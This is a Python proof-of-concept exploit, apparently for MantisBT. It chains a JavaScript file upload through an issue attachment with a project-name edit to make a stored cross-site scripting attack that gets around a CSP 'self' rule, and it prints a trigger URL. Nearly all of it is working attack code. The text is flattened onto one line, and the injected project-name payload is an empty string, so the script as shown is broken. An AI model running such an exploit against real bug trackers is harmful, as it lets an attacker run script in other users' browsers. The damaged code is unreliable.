import requests from bs4 import BeautifulSoup from urllib.parse import urlencode class Poc: def __init__(self, baseUrl): self.baseUrl = baseUrl self.ISSUE_CATEGORY_GENERAL_ID = 1 self.ISSUE_PUBLIC_VIEW_STATE = 10 self.CREATE_NEW_ISSUE_CSRF_TOKEN_NAME = 'bug_report_token' self.CREATE_NEW_ISSUE_PAGE_ENDPOINT = f'{self.baseUrl}/bug_report_page.php' self.CREATE_NEW_ISSUE_ENDPOINT = f'{self.baseUrl}/bug_report.php' self.LOGIN_ENDPOINT = f'{self.baseUrl}/login.php' self.SET_PROJECT_ENDPOINT = f'{self.baseUrl}/set_project.php' self.REST_GET_MY_USER_INFO_ENDPOINT = f'{self.baseUrl}/api/rest/users/me' self.REST_GET_PROJECTS_ENDPOINT = f'{self.baseUrl}/api/rest/projects' self.REST_UPDATE_PROJECT_ENDPOINT = f'{self.baseUrl}/api/rest/projects/{{project_id}}' self.REST_GET_ISSUES_BY_PROJECT_ID_ENDPOINT = f'{self.baseUrl}/api/rest/issues?project_id={{project_id}}' self.ALL_PROJECTS = 0 def login(self, account): data = { 'username': account['username'], 'password': account['password'] } response = account['session'].post(self.LOGIN_ENDPOINT, data=data) response.raise_for_status() def getCurrentUserInfo(self, account): response = account['session'].get(self.REST_GET_MY_USER_INFO_ENDPOINT) response.raise_for_status() return response.json() def getCSRFToken(self, endpoint, account, csrfTokenName): response = account['session'].get(endpoint) response.raise_for_status() soup = BeautifulSoup(response.text, 'html.parser') csrf_token = soup.find('input', {'name': csrfTokenName})['value'] return csrf_token def uploadJavaScriptFile(self, account, filename, payload): files = { 'ufile[0]': (filename, payload, 'application/javascript') } data = { self.CREATE_NEW_ISSUE_CSRF_TOKEN_NAME: self.getCSRFToken(self.CREATE_NEW_ISSUE_PAGE_ENDPOINT, account, self.CREATE_NEW_ISSUE_CSRF_TOKEN_NAME), 'project_id': account['user_info']['projects'][0]['id'], 'category_id': self.ISSUE_CATEGORY_GENERAL_ID, 'summary': 'CSP Bypass PoC', 'description': 'CSP Bypass PoC', 'view_state': self.ISSUE_PUBLIC_VIEW_STATE } response = account['session'].post(self.CREATE_NEW_ISSUE_ENDPOINT, files=files, data=data) response.raise_for_status() soup = BeautifulSoup(response.text, 'html.parser') fileEndpoint = soup.find('a', attrs={'href': lambda x: x and 'file_download.php' in x})['href'] return fileEndpoint def getProjects(self, account): response = account['session'].get(self.REST_GET_PROJECTS_ENDPOINT) response.raise_for_status() return response.json()['projects'] def getExploitableProject(self, account): exploitableProject = None projects = self.getProjects(account) for project in projects: if 'access_level' not in project: continue if project['access_level']['name'] not in ['manager', 'administrator']: continue exploitableProject = project break if not exploitableProject: raise Exception('No exploitable project found. Please make sure the manager user has at least Manager access level to at least one project.') return exploitableProject def getPublicIssuesByProjectId(self, account, projectId): response = account['session'].get(self.REST_GET_ISSUES_BY_PROJECT_ID_ENDPOINT.replace('{{project_id}}', str(projectId))) response.raise_for_status() return response.json()['issues'] def updateProjectName(self, account, projectId, newName): data = { 'name': newName, "enabled": True } response = account['session'].patch(self.REST_UPDATE_PROJECT_ENDPOINT.replace('{project_id}', str(projectId)), json=data) response.raise_for_status() def execute(self, accounts): # 1. Log in as a user with at least Manager access level to be able to upload files and update project name self.login(accounts['manager']) accounts['manager']['user_info'] = self.getCurrentUserInfo(accounts['manager']) print(f'[+] Logged in as {accounts["manager"]["username"]}') # 2. Find any exploitable project that allows the manager user to update the project name exploitableProject = self.getExploitableProject(accounts['manager']) print(f'[+] Found exploitable project: {exploitableProject["name"]} | ID: {exploitableProject["id"]}') javascriptPayload = ''' #!/usr/bin/env node alert(origin); '''.strip() # 3. Upload the XSS JavaScript file using the reporter account for CSP `script-src: 'self'` bypass XSSFileEndpoint = self.uploadJavaScriptFile(accounts['manager'], 'xss.js', javascriptPayload) print(f'[+] Uploaded JavaScript file as {accounts["manager"]["username"]} | File Endpoint: {XSSFileEndpoint}') # 4. Get a valid issue ID within the exploitable project to be able to set the project name field in `bug_report_page.php` to the XSS payload publicIssue = self.getPublicIssuesByProjectId(accounts['manager'], exploitableProject['id'])[0] # 5. Update the project name to the XSS payload with the uploaded JavaScript file URL to trigger the stored XSS vulnerability when any user visits the `bug_report_page.php` page with the vulnerable project selected newProjectName = f'' self.updateProjectName(accounts['manager'], exploitableProject['id'], newProjectName) print(f'[+] Updated project name to the XSS payload: {newProjectName}') parameters = { 'project_id': self.ALL_PROJECTS, 'ref': f'{self.CREATE_NEW_ISSUE_PAGE_ENDPOINT.split("/")[-1]}?m_id={publicIssue["id"]}' } url = f'{self.SET_PROJECT_ENDPOINT}?{urlencode(parameters)}' print(f'[*] URL to trigger the stored XSS vulnerability: {url}') if __name__ == '__main__': baseUrl = 'http://localhost:8080' accounts = { 'manager': { 'username': 'manager', 'password': 'password', 'session': requests.Session() } } poc = Poc(baseUrl) poc.execute(accounts)